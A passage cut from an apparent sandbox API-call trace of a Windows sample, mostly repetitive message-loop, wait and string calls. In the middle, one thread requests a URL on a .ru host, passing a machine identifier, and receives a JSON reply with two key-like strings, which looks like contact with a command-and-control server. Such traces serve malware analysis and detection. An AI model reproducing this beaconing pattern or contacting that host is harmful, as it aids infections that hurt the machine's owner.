wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.178] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.194] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.194] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.209] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.209] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.225] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.225] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.240] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.241] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.256] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.256] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.272] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.272] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.287] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.287] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.303] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.303] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.318] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.318] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.344] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.344] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.350] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.350] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.365] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.365] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x0 [0148.376] CloseHandle (hObject=0x198) returned 1 [0148.382] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fd38 | out: phModule=0x18fd38) returned 0 [0148.382] ExitProcess (uExitCode=0x0) [0148.383] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 89 os_tid = 0x718 Thread: id = 90 os_tid = 0x710 [0110.876] timeGetTime () returned 0x8e68 [0110.876] GetLastError () returned 0x0 [0110.876] GetCurrentThreadId () returned 0x710 [0110.876] SetLastError (dwErrCode=0x0) [0110.877] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0110.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x647608, cbMultiByte=-1, lpWideCharStr=0x663ed8, cchWideChar=1056 | out: lpWideCharStr="33E9AA5ADDB65D39A5923495F06BCF33") returned 33 [0111.000] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://paulmcnagets.ru/003/get.php?pid=33E9AA5ADDB65D39A5923495F06BCF33", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0112.199] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x848f778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x848f774 | out: lpBuffer=0x848f778*, lpdwNumberOfBytesRead=0x848f774*=0x67) returned 1 [0112.199] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x848f768, lpdwBufferLength=0x848f76c, lpdwIndex=0x0 | out: lpBuffer=0x848f768*, lpdwBufferLength=0x848f76c*=0x4, lpdwIndex=0x0) returned 1 [0112.200] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0112.200] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0112.200] lstrlenA (lpString="{\"line1\":\"") returned 10 [0112.201] lstrcpyA (in: lpString1=0x848fb78, lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0112.201] lstrcpyA (in: lpString1=0x848f778, lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.201] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x694108, cbMultiByte=-1, lpWideCharStr=0x696868, cchWideChar=1117 | out: lpWideCharStr="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 94 [0112.202] lstrcpyW (in: lpString1=0x455b98, lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0112.202] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 93 [0112.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x848f778, cbMultiByte=-1, lpWideCharStr=0x670dd0, cchWideChar=94 | out: lpWideCharStr="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 94 [0112.203] lstrcpyW (in: lpString1=0x455b98, lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC\",\"line2\":\"LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0112.203] lstrlenW (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned 40 [0112.203] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0112.203] lstrcpyA (in: lpString1=0x848fb78, lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0112.203] lstrcpyA (in: lpString1=0x848f778, lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.203] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67ce98, cbMultiByte=-1, lpWideCharStr=0x696868, cchWideChar=1066 | out: lpWideCharStr="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 43 [0112.204] lstrcpyW (in: lpString1=0x45d0c8, lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0112.204] lstrlenA (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 42 [0112.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x848f778, cbMultiByte=-1, lpWideCharStr=0x685318, cchWideChar=43 | out: lpWideCharStr="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned 43 [0112.204] lstrcpyW (in: lpString1=0x45d0c8, lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" | out: lpString1="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}") returned="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40\"}" [0112.204] lstrlenW (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned 40 [0112.204] lstrlenW (lpString="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned 40 Thread: id = 91 os_tid = 0x720 Thread: id = 92 os_tid = 0x72c Thread: id = 93 os_tid = 0x698 Thread: id = 94 os_tid = 0x69c Thread: id = 95 os_tid = 0x730 Thread: id = 134 os_tid = 0x5f0 Thread: id = 135 os_tid = 0x5ec [0112.440] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3b0 [0112.440] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xa) returned 0x102 [0112.455] CloseHandle (hObject=0x3b0) returned 1 [0112.455] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.455] Sleep (dwMilliseconds=0x1) [0112.470] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.470] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.495] CloseHandle (hObject=0x3c4) returned 1 [0112.495] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.495] Sleep (dwMilliseconds=0x1) [0112.502] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.502] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.517] CloseHandle (hObject=0x3c4) returned 1 [0112.517] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.517] Sleep (dwMilliseconds=0x1) [0112.532] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.532] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.548] CloseHandle (hObject=0x3c4) returned 1 [0112.548] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.548] Sleep (dwMilliseconds=0x1) [0112.567] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.568] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.579] CloseHandle (hObject=0x3c4) returned 1 [0112.579] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.579] Sleep (dwMilliseconds=0x1) [0112.595] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.595] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.610] CloseHandle (hObject=0x3c4) returned 1 [0112.610] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.610] Sleep (dwMilliseconds=0x1) [0112.631] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.631] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.641] CloseHandle (hObject=0x3c4) returned 1 [0112.641] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.641] Sleep (dwMilliseconds=0x1) [0112.657] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.657] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.672] CloseHandle (hObject=0x3c4) returned 1 [0112.672] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | 